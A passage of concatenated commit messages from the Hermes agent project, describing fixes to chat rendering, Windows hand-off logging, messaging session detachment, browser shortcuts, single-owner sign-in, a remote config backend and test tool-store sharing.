changes only the row's args and clarifyRequestId, so after a resume or
a session switch the screen kept the first card's binding: Confirm on
card 1 left card 2 with no live form, and a chat-bar answer left card
1's settled answer up. Tool-call parts now also compare argsText and
clarifyRequestId.

The one-card-per-question tests now render what the view last
published, through the same check. That also shows the earlier
same-question and duplicated-call cases only held when something else
repainted the row.

Found in review by @yoniebans.
The overlay treated any two parts with the same tool name and id as one
call. With a constant id (llama.cpp), a finished terminal call replaced
a running one from the same turn, and an answered clarify replaced an
open one. Two parts are now one call when name and id match and either
their args match or neither has a result.

Found in review by @yoniebans.
The tool-call comparison grew with the clarify re-arm fix and pushed
utils.ts past its line budget. chatPartsEquivalent, chatMessagesEquivalent,
chatMessageArraysEquivalent and chatReactionsEquivalent, with their
exhaustiveness guards, now live in message-equivalence.ts; utils.ts
re-exports them, so call sites are unchanged. Behaviour is unchanged.
Write-HandoffLog appended with Add-Content, which is unsafe once a second
writer is live: PowerShell caches a content writer per path, so the second
writer receives a handle the first already consumed. On Windows PowerShell
5.1 that surfaces as a "stream is not readable" error flood; on PowerShell
7 it silently loses lines (58% measured on the issue's 8-writer shape,
#126152). The hand-off log is the only record of why a Desktop update
failed, and overlapping hand-off processes are a real event: the marker
claim is a plain write with no mutual exclusion and its failure path logs
a warning and continues.

Serialize the append behind a named, per-log-path mutex plus one FileStream
per write. The mutex instance is created lazily so any runspace or process
writer joins the same OS object; the bounded wait and the empty catch keep
the "logging must never break the update" contract; an abandoned mutex is
still released so a killed writer cannot leak the hold.

Adds a -SelfTestLogConcurrency fixture (8 runspaces x 100 lines through the
real function, holding the file to the exact count with no torn lines) and
a Windows-lane regression test driving it. Measured with Add-Content
restored: 1026-1157 lines present for 800 written, plus torn lines; with
the fix: 800/800 intact across repeated runs.

Co-authored-by: ZCode <agent@zcode.local>
The named mutex serializes Hermes's own writers, but any other process holding
the log at the moment of an append (a scanner on the just-closed file, a reader
opened without write sharing) still failed it, and the empty catch dropped the
line for good. The stage relay marks a stage seen before it logs it, so a stage
that lost that race was never written: main's Windows-only job lost "process
cwd set", "running: python ...", the relayed stage and the tail of the
update's output in one run (test_handoff_shows_the_stage_the_update_publishes,
x64), while the same commit passed on arm64.

A line that cannot be appended now waits in a queue and lands, in order, with
the next append that succeeds; the step loop retries every pass and the run
retries for up to 10 s before it exits. Appends use AppendData with
ReadWrite|Delete sharing, so a reader never blocks them and they land at
end-of-file atomically even beside a writer whose mutex wait timed out.
Three follow-ups to the queued hand-off log (review on #145712):

- Sync-HandoffLog encoded the whole pending queue before it knew the file
  would open, so a log held through a long step re-encoded a growing queue
  on every poll. It opens the file first and encodes only once it can write.
- -SelfTestLogConcurrency skipped the -InstallRoot requirement but still
  claimed the update marker, and its early exit never released it, leaving
  update state in HERMES_HOME. It no longer claims the marker; its test now
  requires HERMES_HOME to hold no update state afterwards.
- The bounded exit-time flush ran only in the main update's finally. The
  marker helper ops (reclaim/withdraw/custody) and the early marker.ps1
  load failure exited with their lines still queued. Each now flushes after
  its marker lock is released; reclaim/withdraw keep the flush short
  because Electron bounds the whole helper and already has its verdict.
The gateway's model-catalog watcher force-fetched the Portal's
/api/nous/recommended-models every 20 minutes on every install, whether or
not the profile had a Nous account, and always from the default Portal.
Nothing outside a Nous account reads that payload.

- refresh_catalogs() refreshes the recommendations only when the profile
  holds a non-guest providers.nous login or pooled nous credential, and
  for the Portal it signed in to.
- fetch_nous_recommended_models() reads the copy each Portal publishes to
  R2 at https://web-assets.nousresearch.com/dynamic/<portal host>/api/nous/recommended-models
  instead of the Portal origin, and falls back to the Portal itself when
  the mirror has no copy (404) or fails. A loopback (dev) Portal is asked
  directly. Disk cache keys are unchanged.
- The R2 mirror is now asked with a 2 s timeout (or the caller's, if shorter) before
  the Portal fallback. Before, a mirror that hung rather than refused used the
  caller's whole 5 s budget first, doubling the worst-case uncached picker wait.
- The gateway's catalog refresh also counts a NOUS_API_KEY (read via get_secret, so
  profile-scoped) as a Nous account, so env-key setups keep their warm cache.
orphan_install_states only reclaimed installs/<key> when the recorded checkout
was provably deleted (under the data root, or directly in an existing
.worktrees/ dir). A checkout anywhere else (~/.cache/review-*/head, a scratch
clone outside the data root) kept its ~0.5 GB / ~27k-file state forever once
deleted: ~235 of ~300 states on one developer host.

The proof rule stays: a provably deleted checkout is reclaimed at once. A
missing checkout that cannot be proved deleted (it may sit behind a mount
boundary: a container sharing the data root, an unmounted volume) is now
reclaimed once its state has also gone unused for
worktrees.install_state_retention_days (default 14, 0 = keep forever).
"Used" is what the runtime moves, measured on a live install: every sync
recreates inputs/ (and rewrites facts.json on a change), every launch takes a
generation lease (moving its .leases dir). Present checkouts, record-less
states and held states (install lock, generation lease) are never reclaimed;
removal keeps the record-last order, and a part-way removal does not restart
the clock.
installs/ is shared by every profile of a data root, but retention was read from the active
profile: a named profile without the key applied the 14-day default to state the root kept
forever (0). Read worktrees.install_state_retention_days from the config of the root that
owns installs/ (scoped via the home override, through load_config_readonly).

Candidates were all decided before any removal; a state launched (lease taken and released)
while an earlier large orphan was being removed was then deleted. Each candidate is now
re-validated (checkout still missing, provably deleted or idle past retention by a fresh
_last_used, no live lease) while holding its install lock, which stays held through removal.
Two green merges landed back to back: #145585 added the ./committed-reply
import and 7ee6d99c4f added ./message-equivalence above it. Together they
trip perfectionist/sort-imports, so check:lint is red on main. Move one
line; no behaviour change.
The salvaged commit counted a token-free platform as configured whenever its
platforms.<id> block was non-empty, and counted any secrets.onepassword.env
mapping as a set credential. Against the gateway's own decision for the same
profile that reported several channels as configured (and enabled) that the
gateway would never start: an API server with no key, a msgraph webhook with
no client_state, a relay with no URL, WhatsApp declared but never paired, and
1Password mappings while 1Password is off (its default). It also still missed
WhatsApp set up through the env flag only, which `hermes whatsapp` writes.

- Credentials: _profile_scope already hydrates the profile's enabled secret
  sources into its secret scope, so a key counts as set when the profile's
  .env has it or an enabled source resolved it to a non-blank value
  (get_secret_source_values, read once per request). That covers 1Password,
  Bitwarden, command and plugin sources, and never a disabled mapping. The
  hand-rolled 1Password reader is gone.
- Token-free built-in platforms (whatsapp, yuanbao, webhook, api_server,
  msgraph_webhook, relay, ...) now show the gateway's own enabled and
  connected verdict. gateway.config_env.builtin_platform_status() runs the
  loader's own steps on the platform's and the relay's blocks only (section
  merge over platforms.<id>, gateway.platforms.<id> and gateway.<id>,
  administrator-pinned keys, the top-level <id>: bridge), then the gateway's
  env-override pass, with env read through the profile's secret scope. So a
  block without `enabled` stays off, the dashboard's `enabled: false` wins
  over a leftover WHATSAPP_ENABLED=true, an admin-pinned key counts, and a
  relay URL disables direct platforms unless the profile's relay is off.
  The dashboard reads a named profile as a multiplex secondary, so an
  env-only api_server/webhook shows disabled there, as that gateway decides.
- Not load_gateway_config(): under a profile scope it enumerates the
  profile's platform plugins and constructs Platform(<plugin id>), a
  process-wide pseudo-member that then appears in every other profile's
  catalog (tests/hermes_cli/test_web_messaging_platform_profile_scope.py
  catches it). _apply_env_overrides(only=<platform>) consults only that
  built-in's own plugin entry and its bundled env rows (no per-call
  manifest scan).
  While it runs, the relay's disable log and the one-time explicit-disable
  warning are held back, so polls neither repeat nor use them up.

Same as main: gateway.json blocks and plugin YAML hooks are not applied on
this path.

Tests: the contributor's two cases now run on real profile files (no
load_config/load_env stubs) and cover each case above, including explicit
disables with env credentials (nested and top-level), the relay opt-out,
an admin-pinned key, a profile plugin's gateway.<id> block (user and
managed config) and blank source values; tests/gateway/
test_builtin_platform_status.py covers the helper outside a multiplexer,
including that the caller's config dict is left unmodified.
When Hermes restarts mid-turn, the classic CLI refuses new messages until
the lost turn is dropped. The notice read "Execution outcome unknown after
restart. Discard acknowledges the lost turn without replaying it; queued
work may then continue. Unknown admission: <id> ..." - the user could not
tell their message was not sent, what was lost, or what to type.

Now it says the message was not sent, quotes the turn that never finished,
explains why Hermes will not re-run it, gives the exact /discard command on
its own line, and quotes what is waiting behind it. The one-shot and
detached-viewer variants and the /discard confirmation use the same plain
wording. Behaviour is unchanged: copy only.
The refusal behind a lost turn went through the final-response markdown
renderer: `strip` rewrote the quoted prompt (`*bug*`, `__init__.py`,
backticks) and `render` merged the `/discard <id>` line into one
paragraph. A gateway refusal (failure_reason "gateway_connection") is
Hermes's own copy, so the panel now prints it raw.

/discard said "You can send messages again" even when another lost turn
still refused the next message. It now reads the refreshed pending list
and says how many paused turns are left, and uses "Discarded ... it was
not re-run" like messaging's gateway.discard.done (a kept result is not
thrown away).
- A lost turn with no text gets "(lost turn <id>)" like the queued
  fallback, so a bare /discard line is never left without its turn.
- One lost and several lost are one loop; plural copy for "once those
  turns are dropped".
- A one-shot cannot take /discard: its notice omits the "type:" lines,
  and the detach line uses the plain voice and names
  `hermes sessions discard <id> --yes` or an interactive resume.
- Tests assert the copy itself instead of passing on fixture ids, and
  tie the preview to its own row.
The tab-strip "+" / Ctrl+T (the Webapp's mobile header shows it as the
New session button) opened a fresh unlisted "New session" tab on every
click, so repeated clicks piled up identical empty drafts (#145594).
Several new-session tabs stay allowed (067cb9e033 made that deliberate),
but only one blank one: while this window shows an untouched draft, the
click fronts it instead of minting a twin.

Untouched = main holding a blank new chat (no session, no page, empty
composer), or a Sessions tab with a bound runtime whose state reads no
messages and idle, no listed row, nothing typed or queued. The live editor
is flushed before reading its stash, so text typed a moment ago counts.
A tab whose state is not known yet never reads as blank.
Review on #145644 (@unsupportedpastels):

- Repeated clicks while session.create was still pending each started a
  create, because the draft tab only exists once the gateway answers. The
  "+" now holds the in-flight create per window: clicks meanwhile belong to
  that draft (the create fronts it when it lands); the latch clears on
  success or failure.
- A blank draft of the previous default device/profile swallowed the "+"
  after a new default was selected. Only a draft whose owner (exact route
  hint, or the legacy profile door) matches the default new-session target
  is reused; otherwise a new session is created under the default and the
  old draft is left as is. Main's blank draft is checked through the same
  resolver its send uses.
- The action moved out of wiring.tsx into app/chat/new-session-tab.ts so the
  tests drive the registered callback with the real session-action hook and
  stores (mocked transport), not only the helper.
Teknium's ruling: "I dont want to lock out desktop / mobile app users from a session. Please just
make it so that telegram doesn't get responses from A if they are on a /new'd convo".

When a messaging chat names another conversation (/new, /resume, /branch, a handoff, its next
inbound), every other live session on its route used to go read-only (session_superseded, cold
mounts since 7ba53f4756, handed-off chats since #144708, warm views in this PR's first commit).
Now they DETACH instead (gateway/session_detached.py): the live session moves off the chat's route
onto a key naming the conversation (agent:<ns>:detached:<sid>), pinned on a copy of its source
(SessionSource.detached_route, wire-invisible). Its turns then run on the ordinary messaging path:

- build_session_key answers the pinned key, so the running slot, agent cache, busy guard and the
  agent a Stop reaches are the conversation's own, never the chat's;
- SessionStore.get_or_create_session resolves it to the conversation itself (its compression tip),
  never creating or persisting a route;
- _delivery_adapter_for answers the profile's LocalSessionAdapter, the local sessions' delivery:
  sends publish nothing, viewers read the canonical event stream (local_viewer_turn covers it, so
  status, notices and approvals go there too). session_local_recovery.local_adapter creates it on
  first use, since a messaging-only gateway has none until a local session restores.

The key has no platform slot, so a key parser (_parse_session_key) finds no chat to deliver to.
The chat naming the conversation again (/resume) moves it back onto its route (name_lane), and
its next turn delivers to the chat again. A cold open of a row the lane moved past mounts detached.
/new, /resume and /branch name the lane at once (_name_lane), not at the chat's next message, and
_publish_route does on every publish, so a warm view detaches the moment its chat moves on.
History mounts keep their own read-only gate (require_history_access). LiveSession.superseded,
history_mount and handed_off are gone (with route_recovery.mount/moved_local, which only fed them);
LiveSession.detached says what it means.
Greptile on 7a915038d9c:

- A detached Telegram topic conversation kept its chat_id/thread_id, so its turn healed onto the
  topic's binding (the chat's current conversation) and a compression in it rewrote that binding,
  pulling the chat back into the old conversation. _is_telegram_topic_lane is False for a detached
  source: its turns neither heal nor write the binding, nor rename the topic.
- Compression exhaustion in a detached turn ran the route reset on its unstored key: nothing reset
  but the reply announced one. It keeps the session and returns the typed exhaustion result, as an
  API conversation does.
- An app prompt accepted for a detached conversation during a restart's after-turn wait stayed
  queued: boot recovery binds only conversations the routing index names. recover_detached_sessions
  mounts each pending conversation its chat moved past that has queued input and schedules it (a
  lost, unknown turn still waits for /discard).
Review of #144840 (F1): /new, /resume and /branch detached the conversation a chat moved past, but
the compression-exhaustion auto-reset (reset_and_rehome_messages) and a CLI /handoff rotated the
route without it, so the app's next prompt on the old conversation ran in the new one and its reply
reached the chat.

The session store now announces each conversation a route comes to name (reset_session,
switch_session, a get_or_create transition: SessionStore.route_named), and the owner wires that once
(session_detached.watch_routes) to the owning authority's name_lane, on its loop, ahead of the
writer's own resumption. The per-command _name_lane calls are gone. The exhaustion reset's fresh
session takes the chat's source as it was, not the old conversation's detached one.
Review of #144840 (F2, F6). F2: under multiplex, a detached conversation's by-id reads and writes
(history load, transcript append, compression tip) found no routing entry for its id and fell back
to the launch profile's state.db: the turn loaded an empty history and wrote elsewhere.
detached_entry records the owner hint (its id and compression tip -> its detached key); re-attach
and retirement drop them.

F6: a chat /resume of the conversation left the agent the app cached under its detached key, to
commit memory at a later idle eviction while the conversation ran in the chat. name_lane now evicts
it at the boundary when the conversation leaves its detached key.
Review of #144840 (F3): a detached turn still bound the chat as its session context
(HERMES_SESSION_PLATFORM/CHAT_ID), so a cron reminder left at deliver=origin, a kanban subscription
or a send_message origin it created posted into the chat. Its turns now bind the session variables
a Desktop session's turn binds (local_source: platform local, chat id = the conversation).
Review of #144840 (F4): the detached conversation kept running on a row stamped session_reset, so
in_place:false compression was refused (parent already ended), listings showed it ended, and a
background completion addressed to it was dropped as pinned to a gone session. The drain's claim now
reopens it, as an API or local turn reopens its own row (reopen_api_session).
Review of #144840 (F5): when the chat /resumed a conversation while an app turn on it ran, that turn
kept running under the detached key while the conversation moved back onto the chat's route, so the
chat's /stop answered "No active task" and the app's Stop found no agent. The running turn's key
stays findable (session_detached.running_key): the authority's agent and running-slot lookups and the
chat's /stop look there while it runs.
Review of #144840 (F7): a detached conversation has no route to reset, so each app prompt failed
compression again with no hint. Its reply now carries the guidance a failed overflow turn already
gives (gateway.errors.context_overflow: /compress or /new).
Review of #144840 (F8): the shared _Runner harness answered no agent for any route, so the rewritten
"stays writable" tests (27 cases) passed with detach disabled. The harness now answers each chat
route's own agent, and the two tests without an agent check assert the conversation left the route.
With detach() made a no-op, 31 cases in test_handoff_local_receipt.py fail; restored, all pass.
A process the app started on a conversation its chat moved past finished into a refused admission:
the watch injection resolved the chat's adapter and looked the detached key up in the routing index,
where it never is (not_found), so the result was retried and finally dropped, and the app never saw
it. It now lands on that conversation as a Desktop session's result does, through the local adapter:
a note in its history with no viewer attached, a turn of it with the app watching. Nothing reaches
the chat. After a restart that left the conversation unmounted it is still refused and dropped with
a log, never routed to the chat.
Review follow-ups on the background-result path of a conversation its chat moved past:
- a reminder the app set on it (origin platform=local, chat = the conversation) fired into a refused
  local-receipt restore (storage_unavailable); the fire is now written into the live conversation;
- the process-event source came from the runner's bounded source cache only, so after eviction the
  result was rebuilt as a plain local source and refused; the live conversation's source wins;
- liveness ticks and their withdrawal looked the detached key up in the routing index only, so a
  finished process left its "still running" ticks queued; both use the detached-aware lookup;
- a result admitted under the detached key and still queued when the chat /resumed the conversation
  was refused (permission_denied) at its claim; the conversation's own detached key is accepted.
None of these reached the chat before; each now reaches the app.
Re-review N1 of #144840. A reminder created from the app on a conversation its chat moved past names
that conversation (local:<id>). Its fire mounted it as a local session, which a messaging row never
is, so it failed with storage_unavailable once the chat resumed the conversation or once it was not
mounted (any restart), and a recurring reminder died silently.

The fire now mounts such a row as its route would (restore_routed_session): off the chat while the chat
is elsewhere, where it is written into the conversation, and on the chat when the chat names it again,
where it runs as that conversation's own turn.
Re-review N2a of #144840. A reminder or background result written into a conversation its chat moved
past as a note (no viewer, no turn) reopened the row the chat's /new had ended. The local path already
skips the reopen for notes; the detached branch now does the same, and a result that runs as a turn
(a viewer is open) reopens it as any first turn does.
Re-review N2b of #144840. A background process or async delegation started by the chat's own turn on
a conversation before its /new was pinned to that conversation on the chat's route. Once the app had
used the conversation (its turn reopens the row) the pin no longer read as gone, so the result was
refused on the chat's route with a non-permanent reason and retried forever (the #141562 spin), never
reaching the conversation or the chat.

Such a result is now routed to the conversation's own detached key, the path a result of the app's
own turn already takes: it lands in the conversation once (deduplicated by the admission ledger and
the delivery identity), never in the chat. A conversation not mounted (a restart) mounts off the chat
first. A row the /new left ended stays a boundary and its result is dropped once, as before.
Re-review N3 of #144840. A background result on a detached key resolved the live conversation through
the active profile scope, but the completion scope is derived from that very source before any scope
is bound, so for a secondary profile the lookup reached the launch profile's authority. Once the
bounded source cache dropped the conversation, the result was rebuilt without its profile and dropped.
The lookup now resolves the owning authority from the key's profile namespace.

Also: the detached branch runs the same source checks as the local branch.
Found re-running the live legs on the re-review fixes. A process the app's turn started on a
conversation its chat moved past carries that conversation's detached key. When it finished after
the chat resumed the conversation, the key named nothing and the result was refused not_found; after
a restart that left the conversation unmounted the same. Such a result now runs as the conversation's
own turn on the chat's route once the chat names it again, and mounts it off the chat after a
restart. The conversation's detached source drops the chat's last message id (its replies reach the
apps, never anchored to a chat message), so a result's event is that same source.
Store writers announce a route change outside the store lock, and a worker
thread's announcement is queued onto the owner loop. A worker's /resume of A
that announced after a newer /new had moved the chat to C reattached A to the
chat in memory while the store still named C: the app's next prompt on A ran
in C and its reply reached the chat. The owner now applies an announcement
only while the store still names that conversation (by logical owner); the
newer write announces itself.

Review on #144840 (2.1 store-to-owner route announcements).
A test run under a temporary HOME (worktree lanes, probe homes) re-ran
setup-hermes.sh into that home and materialized the whole bundled
toolchain there: 13.8k files / 1.5 GB of python, uv, node, npm, ripgrep,
ffmpeg and chromium, plus 4.9k files / 111 MB of uv's bootstrap
interpreter, per home.

scripts/run_tests.sh now exports HERMES_RUNTIME_DIR (and
UV_PYTHON_INSTALL_DIR for the bootstrap interpreter) pointing at the OS
account's existing store when HOME is not the passwd home, the home holds
no store of its own, HERMES_HOME is unset or under that home, and the
account store has facts.json and is writable. That is the manual
HERMES_RUNTIME_DIR recipe lanes already use, made the default.

Scope: only the runner's own test-environment provisioning shares. The
pytest children start from `env -i` without HERMES_RUNTIME_DIR, the store
resolver (pm.environments.store_root) and setup-hermes.sh are unchanged,
so installer/toolchain/update tests and direct setup or install probes
keep an isolated per-home store. An explicit HERMES_RUNTIME_DIR wins and
is the opt-out; an account without a store installs locally.

Store writes are already serialized: pm/install.py realizes every entry
under Store.install_lock() (flock on <store>/.install.lock), reloads facts
under it and publishes by staged rename.
facts.json selects one entry per package, so a faked-HOME run from a checkout
with other node/python/uv pins re-pointed the account's runtime at them and,
racing a run on the store's pins, failed it with "pinned tool is unavailable".
run_tests.sh now shares only when every tool `pm install` provisions here
(cmd_install's roots, defaults and the venv's deps) is already recorded at the
checkout's pins, via a read-only check with the bootstrap interpreter. An
empty, corrupt or unreadable facts.json and an inaccessible account home now
fall back to the per-home store (quietly) instead of failing setup.
_store_has_pins checked facts.installed(), which only proves the recorded
entry directory exists. A store with matching facts but a missing or
non-executable uv passed, so the runner shared it and setup-hermes.sh fell
into its uv re-stage, whose unlocked rm -rf + publish races other runs on
the shared store.

Eligibility now also requires every walked package's binary to be a file
with the exec bit (no healing: read-only), plus setup-hermes.sh's exact
$store/uv-$uv_version-$os-$arch/uv path. The check moves from a heredoc to
scripts/tool_store_pins.py so the regression test runs the real logic.
Review follow-up on #145364 (kshitijk4poor):

- tool_store_pins.py now asks pm's own rule, _installed_location (new
  heal=False keyword keeps it read-only), and also requires each entry's
  recorded env to equal what this checkout's package code records. A store
  at the right pins but with a stale env made `pm install`'s
  _refresh_found_env re-record the shared facts.json.
- run_tests.sh: the concurrency comment now says the unlocked check keeps
  runs that START on different pins apart and names the window before
  pm install's lock; UV_PYTHON_INSTALL_DIR is reused only when the pinned
  minor is already cached; dscl parsed with sed, same-home test with -ef;
  PATH caveat and a never-forward note at the env -i allowlist.
- The test separates the checks: setup-hermes' uv copy broken while pm's
  uv entry is fine, a non-executable ripgrep, and a stale node env, each
  asserting the store is left byte-for-byte and mode-for-mode unchanged.
In a browser tab, ⌘N/⌘T/⌘W (Ctrl+N/T/W) open a browser window, open a
browser tab or close the Webapp itself, so the advertised new-session,
new-tab and close-tab shortcuts never reached the app.

Browser tabs now default to ⌃⌘N/⌃⌘T/⌃⌘W on macOS and Ctrl+Shift+F7/F8/F9
on Windows and Linux. Option letters type characters on macOS, Ctrl+Alt
is AltGr elsewhere, and Alt+Shift letters are browser commands, so the
letter chords stay on macOS only. ⌃⌘W over an interactive terminal closes
the tab instead of being treated as readline's ^W. Native Desktop
defaults and saved remaps are unchanged; hints and settings already read
the resolved binding, and macOS renders the new chord as ⌃⌘N.

Refs #144648
In a browser tab Chrome, Edge and Firefox act on Ctrl/⌘+N, T, W, their
Shift forms, Ctrl+Tab and Ctrl+PageUp/PageDown before the page sees the
keydown, so those Hermes shortcuts never fired in the Webapp.

Per the maintainer, the browser defaults are now Alt + the same key on
Windows and Linux (plain left Alt types no character; AltGr arrives as
Ctrl+Alt or AltGraph) and ⌃⌘ + the same key on macOS, replacing the
Ctrl+Shift+F7-F9 proposal and covering every reserved default:

  New session        Alt+N        ⌃⌘N
  New session tab    Alt+T        ⌃⌘T
  Close tab          Alt+W        ⌃⌘W
  New window         Alt+Shift+N  ⌃⌘⇧N
  Reopen closed tab  Alt+Shift+T  ⌃⌘⇧T
  Close terminal     Alt+Shift+W  ⌃⇧W (unchanged: literal Control)
  Next / prev tab    Alt+] / [    ⌃⌘] / [

Alt+Tab is the OS window switcher, so tab cycling takes ] / [. Native
Desktop keeps its defaults; saved remaps still win.

- actions.ts: hostDefaults() picks the host's default; the Alt defaults
  opt into editableTargetPolicy so they fire from the composer like the
  native ⌘/Ctrl chord.
- combo.ts: an Alt keydown carrying AltGraph without Ctrl/Meta (Linux
  AltGr) is text, never an Alt chord.
- use-keybinds.ts: the session switcher releases on the step key's keyup
  and commits when the last non-Shift modifier lifts, so Alt+] commits on
  Alt up the way ⌃Tab commits on Control up.
- The default-folder toast names the user's actual New session chord
  instead of a hard-coded Ctrl/⌘+N (all locales).

Refs #144648
Follow-ups to the browser-tab defaults, found in review:

- Terminal: the keybind dispatcher runs in window capture, but xterm ignores
  defaultPrevented, so in a browser tab a plain Alt chord over a focused
  terminal ran its Hermes action AND reached the shell as its Meta key:
  Alt+T opened a session tab and sent ESC t (transpose words), Alt+[ sent
  ESC [ (a CSI introducer that can swallow the next keys). The dispatcher now
  marks the keydowns an action actually ran (a declined passthrough chord is
  cancelled but not marked; so is a tooltip's Escape), and the terminal keeps
  a marked plain Alt chord off the PTY. Ctrl chords stay shared, as natively:
  Ctrl+D is still EOF and Ctrl+B a tmux prefix. Alt+W / ⌃⌘W still close the
  tab over the terminal.
- combo.ts: Firefox on macOS reports every Option press as AltGraph, so the
  AltGr-is-text rule dropped Option remaps there (alt+. returned null). The
  rule now applies off macOS only.
- session-switcher.ts: any non-modifier keyup ended the switcher hold, so with
  native ⌃Tab or Alt+] held, another key lifting before the reveal delay hid
  the HUD. Only the physical key (code) that stepped the switcher ends the
  hold now; a missing code on either side releases on any key, as before.

Refs #144648
Hermes is single-user (maintainer ruling): sign-in only gates whether a browser may open the
Webapp, it never creates a second identity. Every login (Webapp tab, loopback session token,
a dashboard login forwarded by a standalone backend, the dashboard's PTY child) now acts as the
host owner's OS subject (uid:<n> / sid:<sid>), on both routes:

- gateway route: AuthorityConnection and the REST session-mutation context build the principal
  through gateway.owner_identity.principal_subject.
- tui_gateway route: rows a login creates over hermes serve carry the owner subject instead of a
  <provider>:<user> label, so native Desktop and the TUI resume them.

Stored login stamps from older builds read as the owner's (read-time, nothing rewritten or
deleted): auth:v1 room owners and history bindings, and <provider>:<user> labels of a bundled or
registered dashboard sign-in on routeless local rows. Messaging ids (telegram:42), other OS users
(uid:N) and nous: stamps on non-Desktop rows stay foreign.

Owner-only sign-in: basic auth has one account and the Nous Portal refuses other accounts for the
registered agent client; self-hosted OIDC admitted every IdP account, so it now admits one:
dashboard.oauth.self_hosted.owner, or the first account to sign in, pinned in
dashboard-auth/self-hosted-owner.json.
Teknium's ruling: Hermes is single-user, a signed-in Webapp/dashboard login IS the machine owner.
Eight origin/main tests asserted the dashboard login (session token, stub login or a second IdP
account) acted as a separate identity. Only that assertion changes in each; idempotent retries,
restart survival, atomic binding, FIFO, stop and approval checks stay.

- test_session_mutation_import_owner: the login's edit is the owner's (200, same receipt as the
  native exact retry), not a 403 steal.
- test_session_mutation_cold: the login's stale-revision edit after restart is a revision_conflict,
  not an ownership 403.
- test_session_mutation_retirement / test_used_delete_restart: the login's exact delete retry after
  restart replays the owner's receipt.
- test_operator_cross_surface[native|dashboard]: both admissions carry the owner's uid subject and
  no operator hand-off payload.
- test_hosted_room_auth_daemon (renamed test_every_signed_in_tab_shares_the_owners_hosted_rooms):
  a second IdP account cannot sign in; two owner tabs share one Group Chat list and either may stop
  or approve.
- test_sessions_adopt: the browser login opens an old chat itself (owner claim), adopt takes the rest.
Review of #145598 (comment 6448254020):

- Chats a Webapp tab imported before the upgrade open again: session_history_mount._reader read the
  import binding by string equality while the sidebar (authorize_history) used the owner rule, so
  the sidebar listed the chat and the open refused it. Both now ask binding_names().
- An old chat a Webapp tab edited is adopted again: bind_legacy_target compared the binding exactly.
- gateway.owner_identity.same_owner is now the one owner rule (owns_row_stamp folded into it), and
  every comparison of a stored owner/binding/principal with a caller in gateway/ goes through it.
- Local stamps match this machine's account only.
- hosted_auth_probe: restore the refused groups.create over another tab's room id and the
  'FORBIDDEN' never reaching the model, adapted to the single-owner contract.
Maintainer ruling: an owner restriction on self-hosted OIDC adds no real protection, because
anyone the login provider lets in already gets the agent and terminal as you on main. Remove the
first-sign-in owner pin (owner_pin.py, dashboard-auth/self-hosted-owner.json) and the
dashboard.oauth.self_hosted.owner check; the self-hosted provider is back to main's code. Who may
sign in is decided by the login provider's app configuration, and the docs now say so.

The hosted-room daemon test signs in two different IdP accounts again (as on main); both act as
the owner and share one Group Chat list.
A dashboard sign-in now acts as the machine owner (uid:<n>), and the standalone forward named
that subject explicitly in its ticket mint. The gateway's control verifier lets a same-user peer
name only a structured login subject, so every rename/archive/delete/import from a dashboard run
beside a live gateway failed with a retryable 503. The owner's subject is the socket peer's own,
so the forward now lets the socket mint it natively and still names any other subject.
Main's e5a86d08d3 pinned a TUI Bot Chat stamped with a structured login subject
(auth:v1:[...]) as refused (not_found) for the owner's cron delivery, waiting for a
peer ticket carrying that subject. Under the single-user ruling this PR implements,
a signed-in Webapp login IS the machine owner, so that row is the owner's: the
delivery adopts it in place with its history, like a host-identity row. Only this
assertion changes; the row is still never moved aside.
plugins/config_backends/remote serves each profile's user layer from the
config plane: boot fetch inside load_hermes_dotenv with bounded retry and
fail-closed exit (D2), per-process ETag poller (D9), key-level diff writes
with CAS and one conflict retry (D10), client-side lock and secret-literal
checks (D7, D17), in-memory migrations (D12), managed config.yaml ignored
(D18), plane credential from auth.json or IdP client credentials only and
never from a secrets: source (D26, D32). Vendored gg conformance fixtures
run against the lock matcher, secret rule and _deep_merge.
1. Secret sources can no longer switch remote mode off. The backend is selected BEFORE
   apply_all and the protected-name check judges by that backend; HERMES_CONFIG_BACKEND is
   never a source's to set (reverted; remote mode exits, file mode warns and drops it).
2. A poll GET that a write (or a newer fetch) overtook is dropped instead of installed: every
   install bumps a sequence the GET captured when it started. profileVersion alone cannot tell
   (an upper-level change keeps it equal).
3. Writes diff against the doc readers got, i.e. migrated in memory (D12), also after the CAS
   re-read: an unrelated edit no longer sends the migration's unsets. A migration step for a
   doc a poll replaced mid-migration is dropped.
4. Dashboard: expected config refusals keep their message (lock 403, value 400, conflict 409)
   through http_failure; anything else stays an opaque 500.
5. Conformance: the fixture digest is pinned to a literal (contract §13.4).

Stub plane: deep_merge now ignores null over a mapping (contract §6.2); docstring says it is a
test double, not server-conformance evidence.
Contract §5.3 (absent = unchanged): an unrelated write from a newer agent no longer
re-stamps a profile level that still stores pre-migration keys, so later readers keep
running those migration steps (D12, R6). A newer stamp is never lowered. The stub plane
now honours 'absent = unchanged' too.
- env_loader: secret sources apply into a private staging copy of the
  environment; the D32 protected-name check runs before anything is
  published to os.environ, so a refused plane URL/credential is never
  visible to a concurrent request (the poller reads them live).
- remote backend: the doc's schema version and generation are captured
  together under st.lock; a migration whose doc was replaced before it
  starts (or at any step/commit) never touches the replacement.
- remote backend: plane value refusals (config_value_invalid,
  config_path_invalid/reserved, config_secret_literal, 413 too_large)
  become ConfigValueError; the dashboard maps them to 400/413 with the
  plane's message; config_request_invalid and others stay opaque.
- stub plane enforces the contract §11.1 depth limit; bulk-save test
  asserts the exact PATCH.
- Re-vendor conformance/ from gateway-gateway 36dff9281f (gg #328): the 35 v1 files are
  byte-identical, plus the 12 multi-group fixtures of portal-groups contract §7.2 (each sha256
  checked against the contract table). APPROVED_FIXTURE_DIGEST e7e92b9b… -> 3fdf7068…
- The runner reads only profile writes, expect.locks[path, level] and defaultsMerge, so v2 needs
  no code change; a new check pins fixtureVersion to {1, 2} so a future format is reviewed.
- Stub plane can emit group levels, groupProvenance and lockedByGroupId; tests prove these are
  ignored, a group lock refuses client-side as lockedBy group, the plane's group 403 maps to
  ConfigLockedError + dashboard 403, and the ETag is echoed verbatim.
The ratchet (scripts/check --only health, new on main) freezes every
file over 2,000 lines at its main size and blocks blind excepts.

- Facades back at or below their main size: the backend seam's local
  imports become module-level ones (config_exists via hermes_cli.config
  where that is already imported), and unrelated pure helpers move to
  topical siblings: _job_doc_header -> cron/scheduler_prompt.py,
  _csv_or_list_to_set -> gateway/run_common.py, the dotted config-path
  pair -> hermes_cli/backup_restore.py, voice/timezone/web checks ->
  hermes_cli/config_value_checks.py, a new profile's config document
  (seed, migrate, backend read) -> hermes_cli/profiles_config.py, pet
